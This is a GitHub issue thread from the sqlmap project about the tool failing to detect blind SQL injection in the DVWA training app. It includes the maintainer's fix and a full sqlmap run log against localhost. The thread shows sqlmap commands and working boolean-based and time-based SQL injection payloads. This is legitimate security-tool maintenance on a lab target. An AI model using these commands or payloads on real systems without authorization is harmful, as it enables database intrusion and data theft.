sqlmapproject / sqlmap

Automatic SQL injection and database takeover tool
http://sqlmap.org
Other
31.91k stars 5.67k forks source link

Can not perform sql blind injection again latest dvwa #5763

Closed Fubuchi closed 2 weeks ago

Fubuchi commented 4 weeks ago

Describe the bug Sqlmap can not perform sql blind injection again latest dvwa version.

To Reproduce

  1. Start dvwa latest version
  2. Run sqlmap -u "http://localhost:4280/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=XXx" --dbs
  3. sqlmap guess the wrong db (CrateDB instead of MySQL)
  4. Choose n when asked Do you want to skip test payloads specific for other DBMSes? [Y/n] to perform test payloads for the rest.
  5. Sqlmap report GET parameter 'id' does not seem to be injectable
  6. If I revert the change of this commit https://github.com/digininja/DVWA/commit/d5f00312d8f8ca8460948ebfc23fe729f7173334 and run dvwa again, sqlmap works as expected.

Expected behavior Sqlmap can perform sql blind injection again latest dvwa version.

Running environment:

Eyponyme commented 3 weeks ago

Same for me... Blind SQLi are not working with sqlmap. Regular sqli are ok.

stamparm commented 2 weeks ago

yea, for sure. there are zillion options and switches, but who cares.

for start:

--string "User ID exists in the database"

stamparm commented 2 weeks ago

response for false is total junk. you get error code 404, where the whole page is rendered exactly the same as for 200. just because it looked fancy to the author to return 404 in case of missing user

stamparm commented 2 weeks ago

then, for "error" (i.e. blank page having only the sentence There was an error.), you get error code 200. man, this is pure junk

stamparm commented 2 weeks ago

fixed with the latest revision:

$ python sqlmap.py -u 'http://localhost:4280/vulnerabilities/sqli_blind/?id=1&Submit=Submit' -H 'Cookie: security=low; PHPSESSID=3ac3021c46f5dea316bf21ce7647b96c' --batch --flush-session
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.8.8.4#dev}
|_ -| . [(]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 00:10:11 /2024-08-26/

[00:10:12] [INFO] flushing session file
[00:10:12] [INFO] testing connection to the target URL
[00:10:12] [INFO] checking if the target is protected by some kind of WAF/IPS
[00:10:12] [INFO] testing if the target URL content is stable
[00:10:12] [INFO] target URL content is stable
[00:10:12] [INFO] testing if GET parameter 'id' is dynamic
[00:10:12] [WARNING] GET parameter 'id' does not appear to be dynamic
[00:10:12] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[00:10:12] [INFO] testing for SQL injection on GET parameter 'id'
[00:10:12] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:10:13] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="exists")
[00:10:13] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL' 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[00:10:13] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[00:10:13] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[00:10:13] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[00:10:13] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[00:10:13] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[00:10:13] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[00:10:13] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[00:10:13] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[00:10:13] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[00:10:13] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[00:10:13] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[00:10:13] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[00:10:13] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[00:10:13] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[00:10:13] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[00:10:13] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[00:10:13] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[00:10:13] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[00:10:13] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[00:10:13] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[00:10:13] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'
[00:10:13] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[00:10:13] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[00:10:13] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[00:10:13] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[00:10:13] [INFO] testing 'Generic inline queries'
[00:10:13] [INFO] testing 'MySQL inline queries'
[00:10:13] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[00:10:13] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[00:10:13] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[00:10:13] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[00:10:13] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[00:10:13] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[00:10:13] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[00:10:23] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[00:10:23] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[00:10:23] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[00:10:23] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[00:10:23] [INFO] target URL appears to have 2 columns in query
do you want to (re)try to find proper UNION column types with fuzzy test? [y/N] N
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[00:10:23] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') 
[00:10:24] [INFO] target URL appears to be UNION injectable with 2 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[00:10:24] [INFO] testing 'MySQL UNION query (21) - 1 to 20 columns'
[00:10:24] [INFO] testing 'MySQL UNION query (21) - 21 to 40 columns'
[00:10:24] [INFO] testing 'MySQL UNION query (41) - 41 to 60 columns'
[00:10:24] [INFO] testing 'MySQL UNION query (21) - 61 to 80 columns'
[00:10:25] [INFO] testing 'MySQL UNION query (21) - 81 to 100 columns'
[00:10:25] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 236 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 2005=2005 AND 'ibKJ'='ibKJ&Submit=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 5050 FROM (SELECT(SLEEP(5)))GEPV) AND 'vmGe'='vmGe&Submit=Submit
---
[00:10:25] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: PHP 8.3.10, Apache 2.4.61
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[00:10:25] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 9 times
[00:10:25] [INFO] fetched data logged to text files under '/home/stamparm/.local/share/sqlmap/output/localhost'

[*] ending @ 00:10:25 /2024-08-26/